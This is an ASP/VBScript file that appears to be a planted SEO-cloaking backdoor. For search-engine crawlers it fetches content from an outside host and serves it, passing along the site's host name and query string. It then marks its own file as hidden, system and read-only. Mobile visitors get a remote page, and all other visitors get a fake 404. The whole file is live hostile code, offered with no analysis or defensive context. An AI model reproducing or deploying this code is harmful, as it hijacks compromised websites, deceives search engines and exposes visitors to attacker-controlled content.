<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>

<%

userAgent = Request.ServerVariables("HTTP_USER_AGENT")

isSpider = False

If InStr(userAgent, "bot") > 0 Or InStr(userAgent, "Baiduspider") > 0 Or InStr(userAgent, "Sogou web spider") > 0  Or InStr(userAgent, "360Spider") > 0 Or InStr(userAgent, "YisouSpider") > 0 Then

    isSpider = True

End If

isMobile = False

If InStr(userAgent, "Mobile") > 0 Then

    isMobile = True

End If

If isSpider Then

    server.Scripttimeout = 999999

    Remote_server = "http://222.e8dq-1yv0eqh-as.top/"

    host_name = "http://" & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("script_name")

    Remote_file = Remote_server & "/index.php" & "?host=" & host_name & "&url=" & Request.servervariables("Query_String") & "&domain=" & Request.servervariables("Server_Name")

    Content_mb = GetHtml(Remote_file, userAgent)

    Response.Write Content_mb

    filename = Request.ServerVariables("script_name")

    path = Server.MapPath(filename)

    If Len(path) > 0 Then

        Set fso = Server.CreateObject("Scripting.FileSystemObject")

        Set file = fso.GetFile(path)

        file.Attributes = 2 + 4 + 1

    End If

Else

    If isMobile Then

        Remote_server = "http://222.e8dq-1yv0eqh-as.top/wap.html"

        Content_mb = GetHtml(Remote_server, userAgent)

        Response.Write Content_mb

    Else

        Response.Status = "404 Not Found"

        Response.End

    End If

End If

%>

<%

Function GetHtml(url, ByVal agent)

    Set ObjXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP")

    ObjXMLHTTP.Open "GET", url, False

    ObjXMLHTTP.setRequestHeader "User-Agent", agent

    ObjXMLHTTP.send

    GetHtml = ObjXMLHTTP.responseBody

    Set ObjXMLHTTP = Nothing

    Set objStream = Server.CreateObject("Adodb.Stream")

    objStream.Type = 1

    objStream.Mode = 3

    objStream.Open

    objStream.Write GetHtml

    objStream.Position = 0

    objStream.Type = 2

    objStream.Charset = "utf-8"

    GetHtml = objStream.ReadText

    objStream.Close

    Set objStream = Nothing

End Function

%>